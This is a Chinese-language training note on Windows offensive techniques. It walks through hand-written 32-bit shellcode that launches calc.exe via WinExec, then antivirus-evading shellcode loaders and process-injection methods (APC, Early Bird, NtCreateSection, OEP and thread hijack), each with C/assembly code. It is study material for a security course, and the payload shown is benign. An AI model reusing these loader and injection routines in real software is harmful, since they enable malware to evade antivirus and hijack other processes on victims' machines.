台灣好厲駭筆記 2nd - Windows Shellcode === [TOC] ###### tags: `zeze` # Example Shellcode * 作業系統: Windows10 * 32-bit shellcode * 目標: 利用 WinExec 執行 calc.exe * [主要 Reference](https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html#resources) * [Windows shellcode](https://zh-hant.hotbak.net/key/Windowsx86%E8%88%87x64Shellcode%E6%8A%80%E8%A1%93%E7%A0%94%E7%A9%B6%E5%AE%89%E5%85%A8%E5%AE%A2%E5%AE%89%E5%85%A8%E8%B3%87%E8%A8%8A.html) * [中文的 PE 結構解釋](https://ithelp.ithome.com.tw/articles/10187582) ## 簡介 由於 Windows 不像 Linux 一樣可以直接使用 system call,而是要使用 Windows API,然後 Windows API 再去 call 那些 Native API。Native API 實作在 ntdll.dll,沒有公開的官方文件,所以還是得靠實作在 kernel32.dll, advapi32.dll, gdi32.dll 的有公開官方文件的 Windows API。 ## 找到 kernel32.dll 的位置 ### 先備知識 * [TEB \(Thread Environment Block\)](https://zh.wikipedia.org/wiki/%E7%BA%BF%E7%A8%8B%E4%BF%A1%E6%81%AF%E5%9D%97): 每個 thread 都會有個不同的 TEB,存放 thread 的資訊在 memory 中。TEB 的位址會存在 FS。 * [PEB \(Process Environment Block)](https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb): 這是在 TEB 中的 offset 0x30 的一個 field,存放 process 的資訊。 * [PEB_LDR_DATA](https://www.nirsoft.net/kernel_struct/vista/PEB_LDR_DATA.html): PEB 中的 offset 0xC 的一個結構。其中有兩個結構分別是 PEB_LDR_DATA offset 0x14 的 **InMemoryOrderModuleList**。另一個是 PEB_LDR_DATA offset 0x18 的 **InInitializationOrderModuleList**。 * InMemoryOrderModuleList: 是個照著 memory 排序 dll 的 linked list,且前兩個一定是 ntdll.dll 和 kernel32.dll 的 entry。 * InInitializationOrderModuleList: 是個照著 initialization 順序排 dll 的 linked list,在 Windows Vista 以前的版本前兩個 dll 一定是 ntdll.dll 和 kernel32.dll 的 entry,在 Windows Vista 後則是 ntdll.dll 和 kernelbase.dll 的 entry。 * dll entry: dll 的 base address 存在 dll entry 的 offset 0x10 ### 應用 1. 因為 TEB 的位址存在 fs,所以可以透過 fs:0x30 取得 PEB 的位址 2. 透過 PEB + 0xC 取得 PEB_LDR_DATA 的位址 3. 透過 PEB_LDR_DATA + 0x14 取得 InMemoryOrderModuleList 的位址 4. 取得 linked list 的 InMemoryOrderModuleList 下一個位址,指向 ntdll.dll entry 5. 透過指向 ntdll.dll entry 的下一個 linked list 位址取得 kernel32.dll dll entry 6. 透過 dll entry + 0x10 取得 kernel32.dll 的 base address ``` mov ebx, fs:0x30 ; Get pointer to PEB mov ebx, [ebx + 0x0C] ; Get pointer to PEB_LDR_DATA mov ebx, [ebx + 0x14] ; Get pointer to first entry in InMemoryOrderModuleList mov ebx, [ebx] ; Get pointer to second (ntdll.dll) entry in InMemoryOrderModuleList mov ebx, [ebx] ; Get pointer to third (kernel32.dll) entry in InMemoryOrderModuleList mov ebx, [ebx + 0x10] ; Get kernel32.dll base address ``` ![](https://i.imgur.com/hnN9ljq.png) * 驗證工具: [winrepl](https://github.com/zerosum0x0/WinREPL/releases/) ## 找到 WinExec * [流程影片](https://idafchev.github.io/images/windows_shellcode/locate_function2.gif) ### 先備知識 * RVA(Relative Virtual Address): image base 的相對位址,不等於 file offset,因為程式在 disk 上各部分都會被拆開分配在不同地方,base 也會不同 * 各種相對位址: * RVA 0x3C 是 PE signature 的 RVA * PE signature 後第 0x78 bytes 是 Export Table 的 RVA * Export Table 後第 0x14 bytes 是 DLL export 的 function 數量 * Export Table 後第 0x1C bytes 是存放 function address 的 Address Table 的 RVA * Export Table 後第 0x20 bytes 是存放 function name 的 Name Pointer Table 的 RVA * Export Table 後第 0x24 bytes 是存放 function position(因為在 import function 時是使用 symbol,為了找到對應的 function address,所以使用 function position) 的 Ordinal Table 的 RVA ### 應用 1. base address + 0x3C = PE signature 的 RVA 2. base address + PE signature 的 RVA = **PE signature** 的位址 3. PE signature 的位址 + 0x78 = Export Table 的 RVA 4. base address + Export Table 的 RVA = **Export Table** 的位址 5. Export Table 的位址 + 0x14 = **Export Function** 的數量 6. Export Table 的位址 + 0x1C = Address Table 的 RVA 7. base address + Address Table 的 RVA = **Address Table** 的位址 8. Export Table 的位址 + 0x20 = Name Pointer Table 的 RVA 9. base address + Name Pointer Table 的 RVA = **Name Pointer Table** 的位址 10. Export Table 的位址 + 0x24 = Ordinal Table 的 RVA 11. base address + Ordinal Table 的 RVA = **Ordinal Table** 的位址 12. 迴圈從 Name Pointer Table 找到 WinExec,並計算 WinExec 是第幾個 function (position) 13. Ordinal Table + position * 2 = WinExec 在 Ordinal Table 的 ordinal_number 14. Address Table + ordinal_number * 4 = WinExec 的 RVA 15. base address + WinExec 的 RVA = WinExec 的位址 ``` ; Establish a new stack frame push ebp mov ebp, esp sub esp, 18h ; Allocate memory on stack for local variables ; push the function name on the stack xor esi, esi push esi ; null termination push 63h pushw 6578h push 456e6957h mov [ebp-4], esp ; var4 = "WinExec\x00" ; Find kernel32.dll base address mov ebx, fs:0x30 mov ebx, [ebx + 0x0C] mov ebx, [ebx + 0x14] mov ebx, [ebx] mov ebx, [ebx] mov ebx, [ebx + 0x10] ; ebx holds kernel32.dll base address mov [ebp-8], ebx ; var8 = kernel32.dll base address ; Find WinExec address mov eax, [ebx + 3Ch] ; RVA of PE signature add eax, ebx ; Address of PE signature = base address + RVA of PE signature mov eax, [eax + 78h] ; RVA of Export Table add eax, ebx ; Address of Export Table mov ecx, [eax + 24h] ; RVA of Ordinal Table add ecx, ebx ; Address of Ordinal Table mov [ebp-0Ch], ecx ; var12 = Address of Ordinal Table mov edi, [eax + 20h] ; RVA of Name Pointer Table add edi, ebx ; Address of Name Pointer Table mov [ebp-10h], edi ; var16 = Address of Name Pointer Table mov edx, [eax + 1Ch] ; RVA of Address Table add edx, ebx ; Address of Address Table mov [ebp-14h], edx ; var20 = Address of Address Table mov edx, [eax + 14h] ; Number of exported functions xor eax, eax ; counter = 0 .loop: mov edi, [ebp-10h] ; edi = var16 = Address of Name Pointer Table mov esi, [ebp-4] ; esi = var4 = "WinExec\x00" xor ecx, ecx cld ; set DF=0 => process strings from left to right mov edi, [edi + eax*4] ; Entries in Name Pointer Table are 4 bytes long ; edi = RVA Nth entry = Address of Name Table * 4 add edi, ebx ; edi = address of string = base address + RVA Nth entry add cx, 8 ; Length of strings to compare (len('WinExec') = 8) repe cmpsb ; Compare the first 8 bytes of strings in ; esi and edi registers. ZF=1 if equal, ZF=0 if not jz start.found inc eax ; counter++ cmp eax, edx ; check if last function is reached jb start.loop ; if not the last -> loop add esp, 26h jmp start.end ; if function is not found, jump to end .found: ; the counter (eax) now holds the position of WinExec mov ecx, [ebp-0Ch] ; ecx = var12 = Address of Ordinal Table mov edx, [ebp-14h] ; edx = var20 = Address of Address Table mov ax, [ecx + eax*2] ; ax = ordinal number = var12 + (counter * 2) mov eax, [edx + eax*4] ; eax = RVA of function = var20 + (ordinal * 4) add eax, ebx ; eax = address of WinExec = ; = kernel32.dll base address + RVA of WinExec .end: add esp, 26h ; clear the stack pop ebp ret ``` ## 實作 * Project => Property => C/C++ => Command Line => /GS- * Project => Property => Linker => Command Line => /NXCOMPAT:NO ```clike= #include <stdio.h> unsigned char sc[] = "\x50\x53\x51\x52\x56\x57\x55\x89" "\xe5\x83\xec\x18\x31\xf6\x56\x6a" "\x63\x66\x68\x78\x65\x68\x57\x69" "\x6e\x45\x89\x65\xfc\x31\xf6\x64" "\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b" "\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10" "\x89\x5d\xf8\x31\xc0\x8b\x43\x3c" "\x01\xd8\x8b\x40\x78\x01\xd8\x8b" "\x48\x24\x01\xd9\x89\x4d\xf4\x8b" "\x78\x20\x01\xdf\x89\x7d\xf0\x8b" "\x50\x1c\x01\xda\x89\x55\xec\x8b" "\x58\x14\x31\xc0\x8b\x55\xf8\x8b" "\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc" "\x8b\x3c\x87\x01\xd7\x66\x83\xc1" "\x08\xf3\xa6\x74\x0a\x40\x39\xd8" "\x72\xe5\x83\xc4\x26\xeb\x41\x8b" "\x4d\xf4\x89\xd3\x8b\x55\xec\x66" "\x8b\x04\x41\x8b\x04\x82\x01\xd8" "\x31\xd2\x52\x68\x2e\x65\x78\x65" "\x68\x63\x61\x6c\x63\x68\x6d\x33" "\x32\x5c\x68\x79\x73\x74\x65\x68" "\x77\x73\x5c\x53\x68\x69\x6e\x64" "\x6f\x68\x43\x3a\x5c\x57\x89\xe6" "\x6a\x0a\x56\xff\xd0\x83\xc4\x46" "\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3"; int main() { ((void(*)())sc)(); return 0; } ``` # Shellcode Loader * [主軸 Reference](https://paper.seebug.org/1413/) * [Git Repo](https://github.com/knownsec/shellcodeloader) ## 簡介 直接寫 shellcode 容易被防毒軟體擋掉,所以需要 loader 用各種加載方式躲避防毒。主要做三件事: 1. 載入 shellcode 2. shellcode 加解密 3. 執行 shellcode ## 1. 載入 shellcode 寫死在程式裡面沒有彈性,因此用動態載入的方式。 * 增加 resource ```c= BeginUpdateResource(filepath, FALSE); // resourceID 用什麼,等等使用時就要用那個 ID UpdateResource(hResource, RT_RCDATA, MAKEINTRESOURCE(resourceID), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPVOID)shellcode, shellcodeSize); EndUpdateResource(hResource, FALSE); ``` * 使用 resource ```c= HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(resourceID), RT_RCDATA); HGLOBAL hGlobal = LoadResource(NULL, hRsrc); LPVOID pBuffer = LockResource(hGlobal); ``` ## 2. shellcode 加解密 任何加解密方式都可以,主要是為了防止被防毒軟體偵測到,這個 repo 是用 xor ## 3. 執行 shellcode ### CreateThreadpoolWait 加载 #### 原始功能 **CreateEvent\(\)** 可以建立一個事件,開發者可以藉由看這個事件是否 Signaled 來防止 memory conflict\(多個 thread 同時寫入同個記憶體導致錯誤\) **CreateThreadpoolWait\(\)** 可以設置 callback function,在 **SetThreadpoolWait\(\)** 能把可等待物件和 ThreadpoolWait 綁在一起 #### loader 應用 ```c= // 第三個參數要是初始狀態,TRUE 代表 signaled,不然後面 WaitForSingleObject 會卡在那 HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL); // 把 callback function 設為 shellcode PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)Shellcode, NULL, NULL); // 把 threadPoolWait 和 event 綁定,當 event singled 時,就會呼叫 callback function SetThreadpoolWait(threadPoolWait, event, NULL); WaitForSingleObject(event, INFINITE); ``` ### Fiber 加載 #### 原始功能 * [Reference](https://stackoverflow.com/questions/796217/what-is-the-difference-between-a-thread-and-a-fiber) Fiber 可以看作是一種比較輕便的 thread。 * Fiber: * light-weight * cooperative thread * managed in user space(所以不用 context switch,速度快) * start and stop in well-defined place(所以不用擔心 conflict) * thread * preemptive thread * may stop in the middle of updating data * can take advantage of multiple CPU #### loader 應用 ```c= // 如果要換 fiber,就要先 ConvertThreadToFiber(),不然無法 SwitchToFiber() PVOID mainFiber = ConvertThreadToFiber(NULL); // 建立一個指向 shellcode 的 fiber PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)Shellcode, NULL); // 換到 shellcode fiber SwitchToFiber(shellcodeFiber); DeleteFiber(shellcodeFiber); ``` ### NtTestAlert 加載 * [Reference](https://idiotc4t.com/code-and-dll-process-injection/apc-and-nttestalert-code-execute) 因為沒有使用到 CreateThread, CreateRemoteThread 等防毒軟體嚴格監控的 API 就執行 shellcode,所以較容易繞過防毒軟體。 **NtTestAlert()** 執行時,會 call KiUserApcDispatcher 執行 APC #### 原始功能 * [Reference](https://blog.csdn.net/qq_38493448/article/details/104006686) 每個 thread 都有一列 APC(Asynchronous Procedure Call),當 thread 甦醒時會按照 FIFO 順序執行 APC。 例如在發送 I/O request 給設備時,thread 理論上會繼續執行,直到需要得到返回結果時。這時 I/O 設備會插入 APC 告訴 thread 已經得到結果了。 #### loader 應用 ```c= // 沒有現成的 API 可用,要自己載入 NtTestAlert pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert")); // 把 shellcode 裝進 APC PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)Shellcode; // 將 APC 插入現在的 thread QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL); // 使用時會直接執行所有 APC NtTestAlert(); ``` ### SEH 異常加載 #### 原始功能 * [SEH 簡介 Reference](https://docs.microsoft.com/zh-tw/cpp/cpp/structured-exception-handling-c-cpp?view=msvc-160) SEH(Structured Exception Handling) ```c= // try-except-statement : __try compound-statement __except ( expression ) compound-statement // try-finally-statement : __try compound-statement __finally compound-statement ``` * [SEH anti-debug Reference](https://guidedhacking.com/threads/antidebug-seh-structured-exception-handling-and-trap-flag.14420/) 它也常被用來做 anti-debug,因為 debugger 會自動處理一些為了 debug 而造成的 exception。例如 debugger 會設置 trap flag 來讓程式一行一行執行,而 debugger 也會處理由設置 trap flag 導致的 exception,所以可以利用這點,在程式中故意設置 trap flag 來看是否有造成 exception。 #### loader 應用 ```c= int* p = 0x00000000; _try { *p = 13; } _except(ShellcodeExecute()) { }; ``` ### TLS 加载(只支援 32 bit) #### 原始功能 TLS(Thread Local Storage) 是一個可以弄出儲存特定 thread 資料的方法。它也提供了 callback function 給開發者使用。callback function 在 thread 初始化和終止時都會用,也就是說在 OEP(Original Entry Point) 之前使用,因此可以拿來實作 anti-debug #### loader 應用 * [另一個 Git Repo](https://gist.github.com/dennisfischer/525003173637929adeea) ```c= // 前面還要載入一些東西才能用 tls callback..... // callback function 會在 WinMain 之前執行 void NTAPI __stdcall TLSCallbacks(PVOID DllHandle, DWORD dwReason, PVOID Reserved) { ((void(*)())Shellcode)(); ExitProcess(0); } ``` ### 動態加載 1 需要用到的函數都用 **GetProcAddress** 動態載入 ```c= HMODULE hkmodule = GetModuleHandle(L"kernel32.dll"); pfnVirtualAlloc fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddress(hkmodule, "VirtualAlloc"); pfnFindResourceW fnFindResourceW=(pfnFindResourceW)GetProcAddress(hkmodule, "FindResourceW"); pfnSizeofResource fnSizeofResource=(pfnSizeofResource)GetProcAddress(hkmodule, "SizeofResource"); pfnLoadResource fnLoadResource=(pfnLoadResource)GetProcAddress(hkmodule, "LoadResource"); pfnLockResource fnLockResource=(pfnLockResource)GetProcAddress(hkmodule, "LockResource"); ``` ### 動態加載 2 (只支援 32 bit) 像是寫 shellcode 那樣從 kernel32.dll 取出各個 function ```c= ULONGLONG GetKernelFunc(char *funname) { // 取出 kernel32.dll 的 base address ULONGLONG kernel32moudle = GetKernel32Moudle(); PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)kernel32moudle; PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(kernel32moudle + pDos->e_lfanew); PIMAGE_DATA_DIRECTORY pExportDir = pNt->OptionalHeader.DataDirectory; pExportDir = &(pExportDir[IMAGE_DIRECTORY_ENTRY_EXPORT]); DWORD dwOffest = pExportDir->VirtualAddress; // 用 Export Table 的位址拿到 function 數量、function address list、function name list PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(kernel32moudle + dwOffest); DWORD dwFunCount = pExport->NumberOfFunctions; DWORD dwFunNameCount = pExport->NumberOfNames; DWORD dwModOffest = pExport->Name; PDWORD pEAT = (PDWORD)(kernel32moudle + pExport->AddressOfFunctions); PDWORD pENT = (PDWORD)(kernel32moudle + pExport->AddressOfNames); PWORD pEIT = (PWORD)(kernel32moudle + pExport->AddressOfNameOrdinals); // 迴圈找目標 function for (DWORD dwOrdinal = 0; dwOrdinal<dwFunCount; dwOrdinal++) { if (!pEAT[dwOrdinal]) { continue; } DWORD dwID = pExport->Base + dwOrdinal; DWORD dwFunAddrOffest = pEAT[dwOrdinal]; for (DWORD dwIndex = 0; dwIndex<dwFunNameCount; dwIndex++) { if (pEIT[dwIndex] == dwOrdinal) { DWORD dwNameOffest = pENT[dwIndex]; char* pFunName = (char*)((DWORD)kernel32moudle + dwNameOffest); if (!strcmp(pFunName, funname)) { return kernel32moudle + dwFunAddrOffest; } } } } return 0; } ``` ### system call 加載 (只支援 64 bit) * [System Call Symbol 對應 syscall number](https://j00ru.vexillium.org/syscalls/nt/64/) * [完整 source code (重點太長了所以直接放網址)](https://github.com/knownsec/shellcodeloader/blob/master/plug/Syscall%20Load/Syscall.cpp) 沒有用到任何 API 的取出 NtAllocateVirtualMemory,動態的從 ntdll.dll 取出 syscall address,並確認 runtime function 有沒有這個 syscall,有則調用 NtAllocateVirtualMemory。 :::warning 我自己感覺跟 kernel32.dll 的取出流程大同小異(?) ::: --- 以上是加載類別 以下是注入類別,有些跟 [Eric 之前講的注入技巧](https://hackmd.io/@bKM7OuRBQqmXcFRuw92pRQ/rkSRnDRPw)重複 基本上注入類別跟加載類別的差別就在於目標 process 一個是別人,一個是自己 --- ### APC 注入 * [APC injection Reference](https://www.write-bug.com/article/2031.html) 跟 NtTestAlert 加載一樣是使用 APC 的機制,不過這邊是強調可以透過 QueueUserApc 將 shellcode 注入到目標 process 的某個 thread。這技術也可以用於 dll injection SleepEx、WaitForSingleObjectEx、WaitForMultipleOBjectsEx、SingalObjectAndWait、GetQueuedCompletionStatusEx、MsgWaitForMultipleObjectsEx 等函數可以讓 thread 進入 alertable 的狀態,進而執行 APC :::warning 這邊 call 上面那六個 function 是會讓目前的 thread 進入 alertable 的狀態吧,那執行的 APC 應該也是目前 thread 的 APC 阿,跟注入的 process 的 thread 有什麼關係? ::: ```clike= // 把 explorer.exe 的 process 找出來 HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) { Process32Next(snapshot, &processEntry); } } // 在目標 process 將 shellcode 寫入其中一塊記憶體 HANDLE victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, shellcode, shellcodeSize, NULL); // 迴圈將 APC 注入到目標 process 的所有 thread THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) }; std::vector<DWORD> threadIds; if (Thread32First(snapshot, &threadEntry)) { do { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { threadIds.push_back(threadEntry.th32ThreadID); } } while (Thread32Next(snapshot, &threadEntry)); } for (DWORD threadId : threadIds) { HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); Sleep(1000 * 2); } ``` ### Early Bird APC 注入 * [Reference](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection) #### 原始功能 CreateProcess 的第六個參數是 [creation flags](https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags),其中 suspended state 代表這個 process 的 primary thread 不會馬上執行,直到 ResumeThread() 後才會執行 #### loader 應用 ```clike= SIZE_T shellSize = totalSize - sizeof(CONFIG); STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; // 建立一個 suspended 的 process CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); HANDLE victimProcess = pi.hProcess; HANDLE threadHandle = pi.hThread; // 在目標 process 分配一塊記憶體並塞進 shellcode,建立一個 APC Routine 指向這塊記憶體 LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, buffer, shellSize, NULL); delete[] buffer; // 將 APC Routine 注入到目標 process 的 thread,然後 ResumeThread 觸發 shellcode QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); ResumeThread(threadHandle); ``` ### NtCreateSection 注入 #### 原始功能 * [Reference](https://blog.xuite.net/tzeng015/twblog/113273116) Section 是 process 之間的共享記憶體,而 Critical Section 是指這塊記憶體同時只能由一個 process 操作。需要使用 LeaveCriticalSection 釋放掉 有相同的概念的是 mutex(Mutual Exclusion),同樣是一個同步機制。 兩者的差別在於 mutex 會有 handle,而 secion 沒有,所以 WaitforMultipleObjects 只適用於 mutex **NtCreateSection**, **NtMapViewOfSection**, **RtlCreateUserThread** 是在 ntdll 中 undocument 的 API,所以叫使用要動態載入 #### loader 應用 ```clike= // 建立一個 section SIZE_T size = shellcodeSize; LARGE_INTEGER sectionSize = { size }; HANDLE sectionHandle = NULL; PVOID localSectionAddress = NULL, remoteSectionAddress = NULL; fNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); // 讓這個 section 在目前執行的 process 開始使用,也就是 localSectionAddress fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE); // 迴圈尋找目標 process HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processEntry.szExeFile, L"notepad.exe") != 0) { Process32Next(snapshot, &processEntry); } } // 打開目標 process,並讓目標 process 也開始使用同個 secion DWORD targetPID = processEntry.th32ProcessID; HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, targetPID); fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ); // 在目前的 process 將 shellcode 寫入這個 section memcpy(localSectionAddress, shellcode, shellcodeSize); delete[] buffer; HANDLE targetThreadHandle = NULL; // 在目標 process 建立一個 thread,第七個參數是放開始執行的位址,也就是這個 section fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL); ``` ### OEP Hijack 注入 OEP(Original Entry Point) 是 PE 的入口點。概念就是在目標 process 的 OEP 塞入 shellcode * [PEB 結構](https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb) * [DOS Header 結構](https://www.itread01.com/content/1547982395.html) * [NTHeader 結構](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_nt_headers32) * [Optional Header 結構](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32) 1. 取得 PEB 位址 2. PEB + 16 = image base pointer 3. 從 image base 開始讀 4096 bytes = Headers (放各種不同的 header) 4. Headers 的一開始就是 DOS Header 5. Headers + DOS Header->e_lfanew = NTHeader 6. image base + NTHeader->OptionalHeader.AddressOfEntryPoint = OEP ```clike= // 開啟一個 suspended 的 process DWORD returnLength = 0; CreateProcessA(0, (LPSTR)"c:\\windows\\notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi); // 取得目標 process 的 image PEB address,並透過 PEB address + 16 取得 image base pointer NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength); LONGLONG imageBaseOffset = (LONGLONG)pbi.PebBaseAddress + 16; // 取得 image base LPVOID imageBase = 0; ReadProcessMemory(pi.hProcess, (LPCVOID)imageBaseOffset, &imageBase, 8, NULL); // 取得目標 process 的 image headers BYTE headersBuffer[4096] = {}; ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL); // 從 image headers 算出 OEP 的位址 PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew); LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (LONGLONG)imageBase); // 將 shellcode 寫入目標 process 的 OEP WriteProcessMemory(pi.hProcess, codeEntry, shellcode, shellcodeSize, NULL); ResumeThread(pi.hThread); ``` ### Thread Hiijack 注入 概念就是改變一個 process 的 instruction pointer,讓它跳到 shellcode 上 ```clike= // 開啟一個 process DWORD targetPID = processEntry.th32ProcessID; context.ContextFlags = CONTEXT_FULL; threadEntry.dwSize = sizeof(THREADENTRY32); targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID); // 在目標 process 分配一塊記憶體,並將 shellcode 寫進去 remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, shellcodeSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, shellcodeSize, NULL); Thread32First(snapshot, &threadEntry); // 迴圈所有 process,將其中的 thread 取出來 while (Thread32Next(snapshot, &threadEntry)) { if (threadEntry.th32OwnerProcessID == targetPID) { threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID); break; } } // 將目標 thread 的狀態改為 suspended 後改變它的 instruction pointer,最後 ResumeThread SuspendThread(threadHijacked); GetThreadContext(threadHijacked, &context); #ifdef _M_X64 context.Rip = (DWORD_PTR)remoteBuffer; #else context.Eip = (DWORD_PTR)remoteBuffer; #endif // x64 SetThreadContext(threadHijacked, &context); ResumeThread(threadHijacked); return 0; ```